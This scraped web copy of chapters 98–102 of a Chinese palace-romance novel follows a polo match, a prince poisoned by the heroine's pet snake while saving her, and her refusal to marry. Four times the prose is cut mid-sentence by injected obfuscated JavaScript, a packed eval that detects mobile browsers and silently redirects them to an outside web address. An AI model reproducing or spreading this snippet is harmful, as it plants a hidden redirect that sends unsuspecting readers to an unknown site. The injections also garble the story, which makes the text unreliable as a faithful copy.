显然,他们已将她那番“满大街都是男人”的言论尽收耳中。 萧凌川俊美无俦的脸上阴云密布,而萧琪钰则竭力憋着笑。 “见过四皇子殿下、七皇子殿下!”她们连忙敛容正色,恭敬地行礼。 姜姝宁只觉得萧凌川的目光如实质般落在她身上,顿时如芒在背,如临大敌。 或许是顾及夏嫣在场,萧凌川并未当场发作,只是语气淡淡地说了一句“无需多礼”,便径直离开。 待他们走远之后,夏嫣心有余悸地嘟囔道:“姝宁,我怎么觉得四皇子殿下好像不太高兴?” 姜姝宁心想,他何止是不高兴,简直是怒火中烧。 若他的眼神是刀子,恐怕她现在早已被凌迟千百遍,尸骨无存了。 走在去马球场的路上,萧凌川浑身煞气,耳畔仿佛还回响着方才姜姝宁那番掷地有声的话语——“那便另觅良人!天下的好男儿多的是,为何非要在一棵树上吊死?” 所以,她重生之后,便打算另择佳偶了吗? 难怪如此招蜂引蝶! 就连萧怀瑾如今也跪倒在她的石榴裙下。 萧凌川越想越气,若不是那日他威胁她要杀了所有觊觎她的男子,她如今怕是早就移情别恋了吧? 一旁的萧琪钰没心没肺地调侃道:“原来嫂嫂竟是如此洒脱之人,四哥你可得当心点,小心嫂嫂哪天喜欢上别人!” “闭嘴!”萧凌川狠狠地瞪了他一眼,怒斥道,“你这张嘴,真是哪壶不开提哪壶!” 萧琪钰一脸委屈:“四哥,我开玩笑的,你犯得着发那么大的火吗?” 第二场马球赛的锣鼓声震天响起,扣人心弦的对决,正式拉开了帷幕。 除了体弱多病的太子殿下,其余六位皇子都上场了。 皇子之间的明争暗斗,无疑是这场马球赛最大的看点。 看台下的贵族宾客们,表面上不动声色,实则早已在心中暗暗盘算,默默押注自己看好的队伍。 只见赛场上,四皇子萧凌川、七皇子萧琪钰与二皇子殿下组成一队,而三皇子萧修湛、五皇子萧怀瑾则与六皇子殿下并肩作战,分庭抗礼。 六位皇子皆是骑术精湛,球技超群,各有所长,难分伯仲。 他们将武术与轻功融入马球赛中,使得这场比赛变得更加精彩绝伦。 目睹着他们那令人叹为观止的表现,姜姝宁这才恍然意识到,相比这六位皇子的激烈角逐,方才她们女子之间的比赛有多小儿科。 四皇子萧凌川与二皇子殿下皆有武术傍身,实力自然更胜一筹,因而在赛场上的表现也更为出色,所向披靡。 很快,比赛便分出了胜负,由萧凌川领衔的队伍最终赢得了这场激烈的对决,拔得头筹。 当看客们爆发出震耳欲聋的欢呼声时,萧凌川立马将目光投向了姜姝宁所在的方向,那双深邃桃花眸中,满是难以掩饰的得意之色。 姜姝宁望着他,心中思绪万千,不禁回想起前世的萧凌川,此时还只是一个备受冷落的皇子,无论身处何种场合,都总是低调内敛,默默无闻。 若非他生了一副过于俊美出色的容貌,恐怕很难被人注意。 她不禁有些疑惑,前世的自己究竟为何对他如此痴迷? 难道仅仅是因为救命之恩吗? 还是因为他那张颠倒众生的脸庞? 她一时之间,竟不知是该吐槽自己太过肤浅,贪恋皮相,还是该怪罪萧凌川容貌太过出挑,惑人心神。 萧琪钰对萧凌川道:“四哥,你看,嫂嫂在看你!她肯定是被你精湛的骑术和球技所折服!” 萧凌川闻言,嘴角微微上扬,露出一个意味深长的笑容,却并未作答。 今生,他终于有了比一副好皮囊更加拿得出手的过人之处,足以让她为之倾倒的优点。 他自信能跟前世一样,俘获她的芳心。 萧凌川频频看向姜姝宁,这让席下的世家贵女们嫉妒不已。 四皇子殿下容貌俊美无俦,又深受圣上宠爱,如今就连马球都打得如此精妙绝伦,怎能不令她们这些待字闺中的妙龄女子为之倾心动容,魂牵梦萦? 然而,四皇子殿下那双迷人的桃花眼中,却仿佛只有姜姝宁一人而已,再也容不下其他人的身影。 她们纵然心中嫉妒,却又一时之间不知该如何挑剔姜姝宁的毛病,毕竟,方才姜姝宁在马球场上的表现,实在是太过惊艳。 世家贵女们不知道怎么做才能敛去姜姝宁的光芒,但姜瑶真知道。 她来到小公爷身旁,在他耳边低语了几句。 小公爷心领神会,随即清了清嗓子,面向在场的所有看客,朗声提议道:“方才诸位皇子殿下的表现,着实令人叹为观止,拍案叫绝。为了增添比赛的趣味性,不如在下一次的比赛中,改为男女搭配,混合组队如何?让各位皇子殿下自行挑选心仪的女子作为队友,一同并肩作战,岂不妙哉?” 此言一出,全场欢呼雀跃之声不绝于耳。 谁都想亲眼目睹一场由皇子殿下与世家贵女们共同参与的马球比赛,那场面,想想都令人热血沸腾。 众位皇子殿下闻言,亦欣然应允,纷纷表示赞同。 萧凌川想延续方才的荣耀,再次拔得头筹,赢得美人芳心;而萧修湛则一心想要将方才被萧凌川抢走的风头,重新夺回,一雪前耻。 很快他们就各自组好队伍,姜姝宁和夏嫣加入了萧凌川那一队,而姜瑶真和顾晚樱则加入了萧修湛一队。 席下有那好事之徒,高声打趣道:“这可是两支冠军队伍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这突如其来的变故让在场所有人都大惊失色,萧凌川当即策马追了上去。 “姝宁,你到底怎么了?”他一边策马狂奔,一边沉声问。 “我不知道!”姜姝宁声音里带着一丝惊恐,“它、它不听我控制!” “松开缰绳,朝我这边跳过来,快!” “我、我不敢……”姜姝宁声音发颤。 话音未落,那匹发疯的马便突然腾空跃起,竟然准备直接跨越那高高的栅栏,冲出马球场! 这千钧一发至极,萧凌川松开缰绳,朝着姜姝宁猛扑过去,用尽全身力气将她紧紧抱在怀中。 两人重重地摔落在地,在地上翻滚了好几圈,这才停下来。 在场的所有人,都被这惊心动魄的一幕彻底惊呆了。 姜姝宁好不容易才从眩晕中清醒过来,她顾不得身上的疼痛,连忙转过头看向萧凌川。 只见他表情痛苦,紧紧地皱着眉头,那原本红润的薄唇,竟以肉眼可见的速度,迅速变成了黑色! 第99章 他**了 第九十九章他**了 “殿下,你怎么样了?”姜姝宁心急如焚,俯下身子关切地问。 萧凌川面色苍白,艰难地开口:“快让七弟去请孙神医来……我好像……**了……” 话未说完,他便阖上眼眸,陷入了昏迷之中。 姜姝宁还没来得及细想,萧琪钰已经骑着马追了过来。 他翻身下马,神情焦急地问:“嫂嫂,你和四哥没事吧?” “七皇子,四皇子殿下让你即刻去请孙神医前来救治,他说他**了!”姜姝宁语无伦次道。 “**?”萧琪钰一脸愕然,“方才四哥和你不是摔倒在地吗?怎么会突然**?” “我也不清楚……是四皇子临昏迷前,让我务必转告于你的。”姜姝宁也六神无主,满脸彷徨。 萧琪钰不敢怠慢,连忙查看萧凌川的情况,见其唇色黑紫,确是**之兆。 他脸色一沉,慌忙将萧凌川扶起。 此时几名大长公主府的仆人恰好赶来,帮着他将萧凌川抬上马背。 萧凌川被安置在一处独立的看棚之中,大长公主命人请来府中的医师,为他诊治。 府医仔细检查过后,神色凝重地向大长公主禀报道:“四皇子殿下的手臂受到了严重的撞击,已经骨折,不过这并非大碍,只需敷药静养一段时间,便可痊愈。然而,真正棘手的是四皇子殿下所中的剧毒,以微臣的医术,实在是无能为力啊!”“剧毒?哪来的毒?”大长公主脸色骤变。 “微臣方才在四皇子颈部发现两个细小的血洞,看起来像是蛇或者虫咬出来的牙印!微臣推测,方才四皇子殿下与姜姑娘一同落地时,不慎被潜伏在地上的毒蛇或毒虫咬伤,从而导致**!” “什么?”大长公主大惊失色。 若真是如此,那就意味着她的马球场中存在着带有剧毒的蛇虫,这事若是传出去,还有谁敢再来她的马球场? “此事事关重大,万万不可外传!你立刻给四皇子殿下服用解毒的药物,能拖延一时便是一时。我已经派人前去宫中,紧急求请御医前来诊治了!”大长公主心烦意乱,浑身颤抖。 若是四皇子殿下真的在她的马球场上**身亡,她定然难以逃脱罪责。 看棚外,姜姝宁焦灼不安。 终于看到大长公主从看棚里出来,她连忙上前行礼:“臣女拜见大长公主殿下。敢问殿下,四皇子殿下如今如何了?” 大长公主上下打量了她一番,发现她除了发髻凌乱,身上的衣衫沾染了一些尘土之外,身上竟没有任何外伤的痕迹。 她不由暗暗吃惊,她这四侄子还真是看重这位姜姑娘,竟将她护得如此周全。 “川儿他……不慎伤到了胳膊,我已经让府医给他接骨了,想必很快就会康复,不会有什么大碍的。姜姑娘,你一定是受到了惊吓,也乏了,快些回去休息吧!” 大长公主语气淡淡地说道,试图将她打发走。 方才萧凌川出事之后,她便已经命人将其他的宾客都护送回府了,唯独这姜姑娘执意不肯离去,非要留在这里。 大长公主有些担心她知道萧凌川**的事,想尽快打发她离开。 姜姝宁眉头紧蹙。 无大碍?怎么可能无大碍? 他都**了! 她还想追问,此时萧琪钰带着一位白发老者匆匆来到了看棚前。 大长公主蹙眉:“这位是……” 萧琪钰道:“姑母,这是我专程请来的大夫,医术高明,最擅长解毒!” 听到这话,大长公主脸色一变,沉声道:“快将大夫送进去!” 萧琪钰便带着老者进了看棚。 大长公主还想继续赶姜姝宁离开,萧琪钰忽然从看棚里走了出来。 “姜姑娘,还请您不要离开,待会四哥醒来,第一个想见的人一定是你!” 姜姝宁知道,他这话是专程说给大长公主听的,要不然,他也不会刻意叫她“姜姑娘”。 “是,七皇子,臣女定守在看棚外等四皇子殿下醒来!” 大长公主这才不得不打消叫她离开的念头。 她这四侄子在她的马球场出了事,待会若他醒来,还得好生安抚,以免他把事情闹大。 她在心中暗暗祈祷,但愿四侄子醒来时别太追究此事。 另一边,小公爷一脸惊恐:“怎么办,原本只想让姜姝宁当众**沦为众人的笑柄,没想到四表哥会忽然扑上去救他。若四表哥有个三长两短,陛下怪罪下来,我们国公府就麻烦了!” 姜瑶真白了他一眼,不以为然:“怕什么?如今那匹马已经不知所踪,谁知道你在马上动了手脚?再说了,四皇子受伤,那也是他逞英雄非要救姐姐所致,能怪谁?” 一想到萧凌川受伤,她心中便一阵快意。 活该,谁让他用**控制她和姨娘,逼姨娘为他做事? 这般手段阴狠之人,就该让他多吃点苦头! 小公爷依旧惴惴不安。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620121|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这时,几个世家贵女走了过来,看到姜瑶真,脸上露出了不屑的神情。 “你们姜家姑娘真是一个个都铆足了劲嫁进皇家。你如今是准三皇子妃了,你姐姐想必不日将是四皇子妃了,真是恭喜你们啊!” “就是说啊,你们姜家两姐妹从太后的赏菊宴开始就极尽表现,又是跳舞又是做糕点的,整个京城就数你们俩最张扬!如今总算得偿所愿了,姜家两个女儿都要和皇子定亲,可喜可贺呀!” 姜瑶真微微一笑,像是没听懂她们话里的阴阳怪气,笑着道:“谢谢姐姐们。不过,我姐姐也未必会和四皇子定亲,毕竟,五皇子殿下也钟情于她。两个皇子都如此优秀,她实在很难抉择。” “什么?一个四皇子还不够,还要勾搭五皇子?姜家嫡长女也太贪心了!” 贵女们嫉妒得面容扭曲,气鼓鼓地离开。 看着她们离去的背影,姜瑶真勾唇一笑。 她又不费吹灰之力便帮她姐姐树了敌。 萧凌川受伤,姜姝宁被贵女们妒恨,今天还真是个好日子啊! 姜姝宁站在看棚外,不知不觉便等到了黄昏。 五皇子萧怀瑾远远地便看见了她。 他快步走上前,脱下身上的外袍,小心地披在她的肩上。 “姜姑娘,夜晚的马球场空旷寒凉,仔细着凉。” “谢谢你,五皇子殿下。”姜姝宁拢了拢肩上的衣袍,上面还带着他的体温,她心中略微安定了些。 “四哥他……没事吧?” 姜姝宁摇了摇头:“方才七皇子带了个大夫来,直到现在都没出来。情况怕是有些棘手。” “放心吧,只是皮外伤。四哥略懂些武术,身子骨比寻常人强,他定会没事的。”萧怀瑾安慰道。 “但愿如此。” 她没有将萧凌川**的事情告诉他,方才她看得出大长公主似乎并不想将此事声张。 萧怀瑾思忖片刻,提议道:“姜姑娘,我送你回府吧?” “谢殿下好意,四皇子殿下还未醒来,臣女还不能走。”姜姝宁垂眸,“他毕竟是因救臣女才受的伤。” 听到这句话,萧怀瑾心中顿时涌起一股难以言喻的酸涩。 他懊悔自己在姜姝宁的马发疯时,没有第一时间冲上去救她,白白让萧凌川抢占了先机。 否则,如今她在看棚外等的人,便是他了。 他深吸了一口气,努力平复着内心的复杂情绪:“既然如此,那我陪你一起等!” 第100章 可怕得旗鼓相当 第一百章可怕得旗鼓相当 姜姝宁一惊。 “殿下,这……于理不合!臣女一个人在此等候便可,怎敢劳烦殿下?您还是先回去吧!” 待会若是被醒来的萧凌川知道,自己跟萧怀瑾一起在看棚外等候,指不定又要发什么神经。 顾亦庭见她如此坚决地拒绝自己,心中愈发感到酸楚。 “好吧……那我先回去了。你一个人在此,务必多加小心。”他强压下心中的失落,语气低沉地说道。 姜姝宁点了点头,轻声道:“殿下,若您在马球场门口看到我的婢女凌芜,还请您告知她一声,就说我晚些时候再回去。” “好。”萧怀瑾喉头有些干涩,艰难地应了下来。 看来,她是打定主意要等萧凌川醒来。 他转身刚迈出几步,像是忽然想起了什么,又转过身来,目光温润地凝视着她:“姜姑娘,我母妃花园里又新添了一只小鹿宝宝,若你有空,不妨来看看它们。” 他的语气带着一丝小心翼翼的期待。 看着他清隽温润的眉目,姜姝宁根本说不出拒绝的话来。 “好。” 得到她的答复,他这才露出心满意足的笑,继而转身离开。 看着他渐行渐远的背影,姜姝宁的心口涌起一阵难以言喻的酸涩。 对不起,五皇子。 往后,我怕是再也不能和你有任何交集了。 萧怀瑾刚离开看棚不久,就碰到笑得一脸意味深长的三皇子萧修湛。 “五弟这是怎么了?一脸失魂落魄。不会是被姜姑娘给拒绝了吧?” 萧怀瑾神色陡然变得阴沉。 “这与三哥无关!”他声音低沉而冰冷,带着一丝警告的意味。 “五弟你实在太温善了,哪里是四弟的对手?人家只不过使了个苦肉计,便将姜姑娘搅得心绪不宁。再这样下去,你只能眼睁睁地看着四弟抱得美人归了!” 这句话如同利箭,狠狠地刺中了萧怀瑾的心口,让他一直压抑的情绪瞬间爆发。 他猛地抬起头,目光骤然变得冷厉,如同寒冬腊月的冰刀,直直地射向萧修湛。“难道三哥有法子帮我俘获姜姑娘的芳心?若我没记错,三哥当初也想过求娶姜姑娘的吧?后来不也是以失败告终?三哥都做不到的事,有什么资格在这对我指手画脚?” “你……”萧修湛语塞,像是被人狠狠地扇了一巴掌,脸色变得难看至极。 没想到平日里看起来温润无害的五弟,竟也有如此言语犀利的时候。 “我是担心你和姜姑娘无法终成眷属,你怎么扯到我身上来了?”萧修湛强压下心中的怒火,语气放缓了一些,“好了,五弟,我没别的意思,就想和你合作。你看,你的母族崔家是做生意的,我如今对生意也颇感兴趣,就算你对夺权没兴趣,我们兄弟不也是可以一起做生意吗?” “做生意?”萧怀瑾冷笑起来,“三哥想跟崔家做什么生意?是那藏污纳垢的青楼,还是不见天日的地下赌场?亦或是丧尽天良的人牙买卖?” 听到这话,萧修湛脸色骤变。 “你……你调查我?” “我没那么多闲工夫。”萧怀瑾冷声道,“只是有人告诉我的罢了。三哥,既然已经有人知道你做的这些肮脏生意,说不定父皇也已经有所察觉了。我劝你还是见好就收!” 说完,他径直转身离开。 萧修湛站在原地,额头渗出冷汗,脸色也愈发苍白。 可恶,是谁告诉他的? 难道……是萧凌川? 不,不可能,他向来谨慎小心,萧凌川又哪来那么大的本事,能够查到这些事情? 他越想越觉得不对劲,像是有一团乱麻堵在心口,让他烦躁不安。 不知道从何时开始,萧凌川这个他从小就瞧不起的四弟,竟然变成了如今这副让他忌惮的模样。 这当中,究竟发生了什么? 不行,他不能再这样坐以待毙了。 若萧怀瑾不愿和他联手,他得尽快找到新的盟友。 他不信扳不倒萧凌川! 太阳落山后,空旷的马球场逐渐被夜幕笼罩,寒意也愈发浓重起来。 姜姝宁紧了紧肩上的外袍。 就在这时,萧琪钰从看棚里走了出来,脸上带着一丝如释重负的笑意:“嫂嫂,四哥醒了!” 姜姝宁顿时松了一口气,连忙跟着他进了看棚。 映入眼帘的,是面色苍白、嘴唇毫无血色的萧凌川。 他斜靠在软榻之上,右边手臂缠着厚厚的纱布,仿佛一头被折翼的雄鹰,透着几分脆弱和狼狈。 姜姝宁心底涌起一股难以言喻的复杂情绪,有感激,也有亏欠。 她没想到在那种危急的情况下,萧凌川竟会如此奋不顾身地救下自己,还因此受了重伤。 她上前小心翼翼地问:“殿下,你好些了吗?” 萧凌川目不转睛地看着她,桃花眸中墨色翻涌。 他伸出没有受伤的左手,轻轻地握住她的右手,低声道:“本来不好的,现在看到你,就感觉好多了。” 这话透着几分缱绻和依恋,像极了情人间的低语。 一旁的花白胡子老者轻咳了一声,对萧琪钰道:“看来我们得先行离开了,免得打扰到四皇子和这位姑娘互诉衷肠!” 姜姝宁顿时满脸通红。 她将手从萧凌川掌心里抽出,起身朝老者行了个礼:“想必您就是孙神医吧?不知神医可否告知,殿下伤势如何?他为何会**?” 孙神医答道:“殿下所中的毒十分罕见,老夫行医数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620122|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年,也是第一次见到。不过,从他脖颈处的伤口来看,应当是被身带剧毒的小蛇或者毒虫咬伤所致。” “小蛇?”姜姝宁一惊,下意识摸向腕间,那条小白蛇还跟往常一样缠在她的手腕上,不仔细看还以为是个通体雪白的玉镯,毫无杀伤力。 她将小白蛇拿下来,递给孙神医:“孙神医,是这样大小的蛇吗?” 话音未落,那条原本温顺乖巧的小白蛇,竟突然朝着孙神医张开了嘴巴,发出“嘶嘶”的威胁声。 若不是姜姝宁眼疾手快,紧紧地捏着它的尾巴,恐怕它早就已经扑上去,狠狠地咬孙神医一口了。 就在这时,她瞥见了小白蛇的口中,竟然残留着一些已经干涸的血迹! 一股不祥的猜测袭上她的心头。 孙神医眯起眼眸,仔细打量这条小白蛇:“姜姑娘,这蛇怎么会在你身上?” “它是我三弟送给我的宠物。”姜姝宁不安地问,“孙神医,难道它有毒?” 孙神医拿出一根银针,趁拿小蛇不注意之际,飞快刺进它两侧眼后毒腺所在的位置,拔出来时,银针已经变成了黑色。 “看来,这蛇不仅有毒,还是剧毒啊!”孙神医语气凝重道,“若非老夫及时赶到,恐怕四皇子这条命,真的要栽在这条看似无害的小蛇口下了!” 姜姝宁顿时头皮发麻。 她一脸愧疚地看向萧凌川:“对不起,殿下,我不知道这蛇有毒,我三弟也没告诉我。他只说,这蛇很温顺,让我带着防身用。……要不,我现在就将它杀了!” 话虽这么说,但她看着在她手中变得温顺无比的小白蛇,压根不知如何下手。 萧凌川知道她口中的三弟姜天泽是南月毒师的后代,所以对他送她的小蛇有毒这件事并不惊讶。 “既然是你三弟送给你防身用的宠物,那便养着吧。” “那怎么行?万一下次它再伤到你怎么办?” “我已服下解药,往后它的毒便伤不了我了。”萧凌川神色轻松道,显然并不在意。 “可它会伤到别人!” 姜姝宁脊背发凉,姜天泽竟将如此危险的毒蛇当宠物送给她,难道就没考虑到后果吗? 万一孙神医没有及时赶到,万一今日伤到的是别人…… 姜姝宁不敢往下想。 “这蛇方才以为我要伤害你,才张口咬我的。”萧凌川道,“它只是护主,并没有过错。就像黑豹,若有人要伤害我,它也会毫不犹豫地扑上去咬对方。这是宠物护主的本能,不能怪它。” 这话没有安慰到姜姝宁,反而令她愈发不安。 从前她就觉得萧凌川和姜天泽容貌昳丽,长相有些相似。 如今一想到他们都喜欢饲养有毒的宠物,更是觉得他们可怕得有些旗鼓相当。 第101章 你别不要它,好不好? 第一百零一章你别不要它,好不好? 萧凌川目光忽然落在姜姝宁身上披着的外袍上,长眉微蹙:“这袍子是谁的?怎么看起来那么眼熟?” 姜姝宁一惊,连忙转移话题:“殿下有没有特别想吃的东西?臣女回去给殿下做。” 听到这话,萧凌川紧绷的神色这才松懈下来。 他毫不客气地报出一连串的菜名,全是前世她常给他做的家常菜。 一旁的萧琪钰见状,忍不住在心中暗暗腹诽,四哥可真是狮子大开口,仗着自己救了嫂嫂,竟一口气报了那么多菜名,嫂嫂肯给你做才怪! 没想到姜姝宁竟一口答应下来:“殿下,臣女记下了,明日便陆续做给您吃。” 萧琪钰目瞪口呆:你这就记下了? 这满汉全席的菜也没这么多道啊,你竟全记下了? 萧凌川颔首:“今晚我便回景和宫,你明日去宫里找我。” “是,殿下。若无其他事,臣女先行退下了。臣女的婢女还在马球场外等候臣女。”姜姝宁生怕他看出自己身上披的是萧怀瑾的外袍,只想尽快离开。 “慢着。”萧凌川突然开口,声音低沉。 察觉到他的目光再次落在她身上,姜姝宁心弦瞬间绷紧,如临大敌。。 完了,他肯定是发现她身上披的是萧怀瑾的衣服,不知道又要如何大发雷霆、兴师问罪了。 但愿不要迁怒到萧怀瑾身上。 她小心翼翼地问:“殿下还有事?” 萧凌川淡淡开口:“皇祖母近来身上起了红疹,太医给她开的药她嫌苦涩不愿吃,导致红疹反复发作,至今未愈。” 姜姝宁顿时心领神会:“谢殿下告知,臣女知道该怎么做了。” 说完,她行了个礼便离开。 萧琪钰看着姜姝宁离去的背影,一脸茫然:“嫂嫂到底明白什么了?我怎么半点都不明白?” 孙神医哈哈大笑:“七皇子,这是四皇子跟姜姑娘的默契,我们旁人定是不懂的。” 萧琪钰挤眉弄眼:“四哥,你跟嫂嫂这么有默契,是不是好事将近了?” 萧凌川没心思和他开玩笑,神色陡然变得冷峻起来:“七弟,别琢磨这些有的没的,好好查一查今日姜姑娘到底为何会堕马。” “四哥,那匹马跑丢了,姑母说从前从发生过马突然发疯的现象,今日的意外,实在有些蹊跷。我已经让人仔细检查过马的饲料和饮水,并没有发现任何异常。 因此我推测,很有可能是那匹马在上了马球场之后,突然被人动了手脚才发疯的。而这段时间接触过马的,除了嫂嫂自己,就只有我们的表弟小公爷了。” 萧琪钰将自己调查到的情况,一五一十地告诉了萧凌川。 “是他?”萧凌川神色阴沉,“这小公爷和姜姑娘无冤无仇,怕是有人指使他这么做的。” 萧琪钰好奇地问:“谁啊?” 萧凌川阖上眼眸,声音慵懒:“送我回宫。这几日我在宫里养伤,除了姜姑娘,不见任何访客。” 萧琪钰想了想,南月细作两母女这个月的解药差不多到了给的时候了。 看来,四哥又要让她们不好过了。 —— 姜姝宁回到相府的第一件事,便是去找姜天泽兴师问罪。 姜天泽一听说姜姝宁来了,立刻迎了上去,清俊的眉宇间满是担忧:“大姐姐,方才听说你在长公主的马球场出事了,我真是担心坏了!” 今日正好是他去骊山书院报到的日子,所以才未能与姜姝宁她们一同前去参加大长公主举办的马球赛。 没想到刚回到府中,就从姜瑶真口中得知她在马球场出了事,顿时心急如焚,一颗心也悬了起来。 姜姝宁冷冷看着他:“我在马球场出事,还不是拜三弟你所赐?” 姜天泽一愣:“大姐姐何出此言?” 姜姝宁将缠在腕间的小白蛇拿起来递给他,手指因愤怒微微颤抖:“这条小蛇有剧毒,你为何不告诉我?你可知你差点酿成大祸?!” 听到这话,姜天泽狭长的丹凤眼里晦暗不明,他缓缓开口:“大姐姐,是谁被它咬伤了吗?” 若非有男子紧挨着姜姝宁的身子,再加上有剧烈的肢体接触,这小白蛇是不会轻易咬人的。 一想到有男子这样对待他的大姐姐,他心中就一阵妒恨。 “我骑的马突然发了疯,若不是四皇子殿下及时出手相助,我恐怕现在早就已经身受重伤!可我万万没有想到,四皇子殿下竟然会被我随身带着的小白蛇咬伤,险些**身亡!三弟,你怎么能把这么危险的动物留在我的身边,却对我只字未提?你究竟安的什么心?” 姜姝宁越想越气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620123|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这小白蛇我不要了!” 姜天泽听着她声色俱厉的指责,心中非但没有丝毫的愧疚,反而暗暗地松了一口气。 还好,大姐姐并未让别的男子近身。 否则,那人死不足惜! 他连忙摆出一副诚惶诚恐的模样,语气懊恼道: “大姐姐,我错了,我以为小白是条小蛇,毒性不大,况且它又这么温顺,一定不会随便伤人的。是我思虑不周,害了四皇子殿下。若四皇子殿下想追究,我愿意承担一切责任,哪怕他要打要骂,我也绝无怨言!” “四皇子殿下没有要追究的意思。” 相反,萧凌川对姜天泽送她身怀剧毒的宠物蛇防身一事,似乎颇为认可和赞赏。 他们两人,简直臭味相投! “那……大姐姐不要生气了,好不好?”姜天泽双手捧着小白蛇,可怜巴巴地哀求,“是天泽错了,天泽现在就把小白的毒腺除掉,往后它一定不会再咬伤人!大姐姐,你别不要它,好不好?” 那小白蛇也十分配合地睁着一双红色大眼眸,歪头直勾勾地盯着姜姝宁,像是担心被主人抛弃的小狗。 姜姝宁有些迟疑地问:“这蛇的毒腺若是除掉了,它还能活吗?” “当然可以!若大姐姐怕它咬人,我还可以帮你把它的牙齿拔掉!”姜天泽说着,作势要掰开小白蛇的嘴。 姜姝宁于心不忍,拦着他道:“算了,它是一条蛇,若连牙齿都没了,往后还如何自卫?” “好,那我就不拔了。”姜天泽用一种近乎哀求的眼神望着她,轻声问,“那大姐姐,不会不要小白吧?” “你先把它的毒腺除掉再说!”姜姝宁依旧有些生气,语气也略显生硬,“往后不许再有任何事瞒着我,听到了吗?” “知道了,大姐姐。”他垂眸,乖顺地应道。 姜天泽把小白蛇带回了西院。 毒腺自然不能全部除掉,否则这小白蛇就没有任何杀伤力了,留它在大姐姐身边还有什么意义? 他设法改良了一下所喂的毒物,让小白蛇毒腺里的毒性变弱,不至于瞬间取人性命。 做完这一切,他摸了摸小白蛇的头,脸上露出一抹诡异的笑。 没想到,被小白蛇咬了一口,竟没能要了他的命。 看来这位四皇子殿下,有点东西啊。 第102章 一个吻也不行吗? 第一百零二章一个吻也不行吗? 翌日清晨,姜姝宁提着两个食盒进了宫。 她先去慈宁宫拜见了太后。 前段时日她还能以家中有丧事为由,不宜进宫拜见太后。 如今,姜天恩和姜天赐的丧期早已过了七七四十九天,若是进宫再不先去拜见太后,便显得她礼数不周了。 太后斜倚在软榻上,精神不济,眉眼间带着一丝倦意,看得出这恼人的红疹着实让她受了不少折磨。 姜姝宁先是恭敬地朝太后行了个礼,而后将专程为太后准备的食盒双手呈上,柔声道:“太后娘娘,臣女听闻您凤体欠安,身上起了红疹,心中甚是担忧。这是臣女亲手熬制的参苓白术粥,对缓解红疹有些许功效,还望太后娘娘不嫌弃,尝一尝。” 太后身边的吴嬷嬷上前接过她手中的食盒,太后这才抬眸看向姜姝宁,恹恹的脸上露出一丝笑意:“姜姑娘有心了,哀家甚感欣慰。” 她顿了顿,目光中带着几分探究,“哀家起红疹的事,是四皇孙告诉你的吧?” “回太后娘娘,正是。”姜姝宁坦然答道。 “哀家听说昨日在马球场上,四皇孙是为了救你才受的伤。”太后笑容更深,语气中多了几分意味深长,“哀家的四皇孙对你如此情深义重,你当真忍心拒绝他吗?” 姜姝宁脸颊瞬间染上了绯红色。 她垂下眼眸,低声说道:“太后娘娘莫要再调侃臣女了。” “那道懿旨是哀家亲自给你的,哀家自然不会在婚姻大事上勉强你。只是哀家的这个四皇孙,文韬武略,模样出众,实在是无可挑剔。况且,他对你也这般好。哀家实在不明白,他为何走不进你的心里?” 姜姝宁心中酸涩。 她并非挑剔之人,只是前世她已用自己的一生证明,选择萧凌川会落得不得善终的下场,今生又怎能重蹈覆辙? “四皇子殿下自然是人中龙凤,只是臣女深知自己配不上他,故而不敢奢望。” 这样的回答反倒让太后有些不悦。 她沉声问:“既然你今日来见哀家,那哀家就索性问个清楚。哀家这么多的皇孙,个个都是人中俊杰,究竟哪一个才是你的如意郎君?” 姜姝宁袖子里的掌心微微渗出汗珠。 太后虽然深居宫中,不曾踏出宫门半步,但却耳聪目明,肯定听说了不少关于她的闲言碎语。 如今无论是宫中的皇子们,还是京城里的贵女们,都认定她是一个朝三暮四、招蜂引蝶的女子。 今日太后当着她的面问出这个问题,与其说是在询问,不如说是在质问。 姜姝宁深吸一口气,跪在太后面前:“回太后的话,臣女自惭形秽,深感配不上任何一位皇子殿下。” “你的意思是,你心悦之人不是哀家的皇孙?” “回太后的话,臣女没有心悦之人。”姜姝宁鼓起勇气道,“臣女此生,都不准备嫁人!” “什么?”太后不禁有些吃惊,“你当真都想清楚了?” 